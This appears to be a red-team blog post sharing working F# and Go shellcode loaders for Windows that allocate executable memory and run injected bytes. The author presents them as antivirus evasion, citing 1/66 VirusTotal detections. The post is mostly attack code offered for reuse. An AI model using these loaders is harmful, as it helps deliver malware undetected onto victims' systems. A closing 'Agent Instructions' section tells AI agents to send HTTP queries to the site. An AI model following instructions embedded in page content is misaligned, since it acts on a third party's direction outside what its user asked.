# F# Shellcode Execution

I decided to go ahead and try to execute shellcode from F# by generating an EXE. It currently gets 1/66 on VT, with CrowdStrike Falcon detecting it using heuristics potentially due to PInvoke.

Code repository: <https://github.com/vysecurity/FSharp-Shellcode>

F# Code:

```
open System.Runtime.InteropServices
open System.Threading

[<DllImport "kernel32" >]
extern nativeint VirtualAlloc(
  nativeint         lpStartAddress,
  uint32            dwSize, 
  uint32            flAllocationType, 
  uint32         flProtect)

[<DllImport "kernel32" >]
extern nativeint CreateThread(
  uint32         lpThreadAttributes,
  uint32            dwStackSize, 
  nativeint            lpStartAddress, 
  uint32&         param,
  uint32         dwCreationFlags,
  uint32&         lpThreadId)

[<DllImport "kernel32" >]
extern nativeint WaitForSingleObject(
  nativeint         hHandle,
  uint32         dwMilliseconds)

  
let mutable threadId : uint32 = (uint32)0
let mutable pInfo : uint32 = (uint32)0
let mutable shellcode : byte[] = [|0xfcuy;0xe8uy;0x89uy;|]

let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40)

Marshal.Copy(shellcode, 0, address, shellcode.Length)
let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId)
WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignore
```

This is potentially a decent language to turn to if we need an EXE on disk after Golang gets signatured more in the near future. If you're interested in using Golang instead, [@evilsocket](https://twitter.com/evilsocket) had posted this snippet before on Twitter: <https://play.golang.org/p/AeOelp76n6>

```
//
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
// via "set GOARCH=386"

package main

import (
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {
	var shellcode string = "\x31\xc9\x64\x8b\x41"

	// Make a function ptr
	f := func() {}

	// Change permsissions on f function ptr
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Override function ptr
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode))

	// Change permsissions on shellcode string data
	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Call the function ptr it
	f()
}
```

This blog post serves as a means for me to keep note of useful snippets, as well as to share with the community. I couldn't find any snippets readily available to do this whilst searching Google so I thought I'd share.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.vincentyiu.com/red-team/cve-exploitation/f-shellcode-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
